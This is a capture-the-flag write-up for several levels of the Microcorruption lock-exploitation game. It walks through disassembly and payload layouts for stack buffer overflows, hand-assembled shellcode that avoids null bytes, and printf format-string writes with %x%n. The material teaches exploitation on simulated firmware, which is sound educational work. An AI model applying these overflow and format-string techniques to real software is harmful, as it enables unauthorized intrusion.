Johannesburg
- A firmware update rejects passwords which are too long.
- This lock is attached the the LockIT Pro HSM-1.
This looks a lot like Cusco - where we allocate 63 (0x3f
) bytes to read user input but only pop 18 off at the end - though there is some weirdness in the main function:
4566: b012 4644 call #0x4446 <unlock_door>
456a: 3f40 d144 mov #0x44d1 "Access granted.", r15
456e: 023c jmp #0x4574 <login+0x48>
4570: 3f40 e144 mov #0x44e1 "That password is not correct.", r15
4574: b012 f845 call #0x45f8 <puts>
4578: f190 5c00 1100 cmp.b #0x5c, 0x11(sp) # compare the 17th byte on sp with 0x5c
457e: 0624 jeq #0x458c <login+0x60> # if it matches, jump to 4588
4580: 3f40 ff44 mov #0x44ff "Invalid Password Length: password too long.", r15
4584: b012 f845 call #0x45f8 <puts>
4588: 3040 3c44 br #0x443c <__stop_progExec__>
458c: 3150 1200 add #0x12, sp # sp += 18
4590: 3041 ret
You can still enter passwords which are too long but the program will check that the 17th byte is equal to 0x5c
- if it isn’t __stop_progExec__
will be called, bypassing the opportunity to overwrite the return address.
Note that 0x12
, or 18 bytes, are added to sp
before returning and popping the return address off the stack. This means our payload will be something like <16 bytes of junk>0x5c<another byte><overwritten return address>
. For the latter we can pick unlock_door
’s address and we’re all set.
Whitehorse
- This lock is attached the the LockIT Pro HSM-2.
- We have updated the lock firmware to connect with this hardware
security module.
This is getting interesting. login
looks familiar in that the number of bytes read (0x30
) differs from the ones we pop (0x16
). However instead of having unlock_door
we are met with this rather annoying conditional_unlock_door
.
4508: 3e40 3000 mov #0x30, r14
450c: 0f41 mov sp, r15
450e: b012 8645 call #0x4586 <getsn>
4512: 0f41 mov sp, r15
4514: b012 4644 call #0x4446 <conditional_unlock_door>
4518: 0f93 tst r15
451a: 0324 jz #0x4522 <login+0x2e>
451c: 3f40 c544 mov #0x44c5 "Access granted.", r15
4520: 023c jmp #0x4526 <login+0x32>
4522: 3f40 d544 mov #0x44d5 "That password is not correct.", r15
4526: b012 9645 call #0x4596 <puts>
452a: 3150 1000 add #0x10, sp
452e: 3041 ret
conditional_unlock_door
makes use of the 0x7e
interrupt to unlock the door
445a: 0f12 push r15
445c: 3012 7e00 push #0x7e
4460: b012 3245 call #0x4532 <INT>
This interrupt interfaces with the HSM - meaning we get zero visibility on the password. Looking at the doc, we’d really want this to use 0x7f
instead, which is an unconditional unlock (no password checking). However there is no such function in the code.
But fear not! Microcorruption provides us with a way to assemble our own code. We can write our own unlock
method:
push #0x7f
call #0x4532
Assembling this gives us 30127f00b0123245
. Now the trick is to point pc
, the program counter, to it.
There is no stack randomisation and we know exactly where our input will be - just stick a breakpoint at 0x4512
:
> r sp 16
3654: 7061 7373 776f 7264 password
365c: 0000 0000 0000 0000 ........
3664: 3c44 0000 0000 0000 <D......
Our input will then be <shellcode><padding to 16 bytes><sp's address>
. Nice.
Montevideo
- Lockitall developers have rewritten the code to conform to the
internal secure development process.
- This lock is attached the the LockIT Pro HSM-2.
At first glance this looks like Whitehorse with a strcpy
:
4508: 3e40 3000 mov #0x30, r14
450c: 3f40 0024 mov #0x2400, r15
4510: b012 a045 call #0x45a0 <getsn>
4514: 3e40 0024 mov #0x2400, r14
4518: 0f41 mov sp, r15
451a: b012 dc45 call #0x45dc <strcpy>
451e: 3d40 6400 mov #0x64, r13
And the same uneven pop at the end. However strcpy
presents us with a challenge. Let’s see what happens when we add in our Cusco’s shellcode by putting a breakpoint at 0x451e
:
> r sp
43ee: 3012 7f00 0000 0000 0.....
43f6: 0000 0000 0000 0000 ........
43fe: 3c44 3140 0044 1542 <D1@.D.B
4406: 5c01 75f3 35d0 085a \.u.5..Z
Mmm… It looks like everything after 7f
was ignored. This is because strcpy
stops copying data once it encounters a null byte (0x00
). Recall that in order to call the right interrupt we pushed 0x7f
on the stack - which is really 0x7f00
in little endian!
We need to find a way to get rid of the 0x00
. Let’s try the below:
mov #0x0f70, r15
add #0xf10f, r15
It’s overflow, but there are no null bytes. Note that if you get something like ‘CPUOFF’, it’s probably because you inadvertly set the 4th bit of the status register (see section 3.2.3 of the TI manual).
Our instructions will look like:
mov #0x0f70, r15
add #0xf10f, r15
push r15
call #0x454c
Which assemble to 3f40700f3f500ff10f12b0124c45
. As with Cusco, we just need to pad this and add the return address pointing to our shellcode on the stack. The final input will be <14 bytes of shellcode><2 bytes of padding><address on stack>
.
Addis Ababa
- We have verified passwords can not be too long.
- Usernames are printed back to the user for verification.
- This lock is attached the the LockIT Pro HSM-1.
This looks like a printf
format exploit! Though after some trial and error, the printf
implementation is rather limited compared to the C one we’re used to. However as guessed, printf
is passed user input directly - that is, printf(input)
as opposed to printf('%s', input)
. This is readily observable with input such as DD:%x
. We also note it seems we need to have a %x
before we can use %n
. Mmm…
As a side note, we can’t mix hex and ascii in the input. As such we’ll need to translate everything into hex.
We can exploit this to write to an arbitrary address - but where? There’s a conditional expression (tst 0
) that looks interesting:
448a: 8193 0000 tst 0x0(sp)
448e: 0324 jz #0x4496 <main+0x5e>
4490: b012 da44 call #0x44da <unlock_door>
4494: 053c jmp #0x44a0 <main+0x68>
4496: 3012 1f45 push #0x451f "That entry is not valid."
If sp
is 0 (which it is if the password isn’t correct), it will jump to 0x4496
- but if it isn’t, unlock_door
will be called. That means we don’t even really care what we override the test value with as long as it is greater than 0.
With this in mind our input will be: <0x448c - the address we want to overwrite>:<padding, though not necessary>%x%n
- with %n
writing the number of bytes so far to 0x448c
. We will have essentially changed the instruction to:
8193 0400
tst 0x4(sp)
Where 4 is the number of bytes written. Job done.
Novosibirsk
- This lock is attached the the LockIT Pro HSM-2.
- We have added features from b.03 to the new hardware.
This is very similar to Addis Ababa - but we’re not so lucky as having unlock_door
readily available. Instead we’re met with conditional_unlock_door
which does check a given password with the HSM. Bummer.
All is not lost however. conditional_unlock_door
raises the following interrupt:
44c2: 0e12 push r14
44c4: 0f12 push r15
44c6: 3012 7e00 push #0x7e
44ca: b012 3645 call #0x4536 <INT>
As we know from the documentation, 0x7e
expects a password to trigger the deadbolt - but 0x7f
doesn’t. Could we overwrrite 0x44c8
with 0x7f00
?
Given printf
’s limitations we would need the ability to enter at least 127 bytes (0x7f
) as our input.
4454: 3e40 f401 mov #0x1f4, r14
4458: 3f40 0024 mov #0x2400, r15
445c: b012 8a45 call #0x458a <getsn>
Ha. They’re giving us 0x1f4
bytes to work with. Plenty. Our input will then look like <0x44c8 - the address of the 0x7e><padding>%x%n
such that the total length of the payload is 127.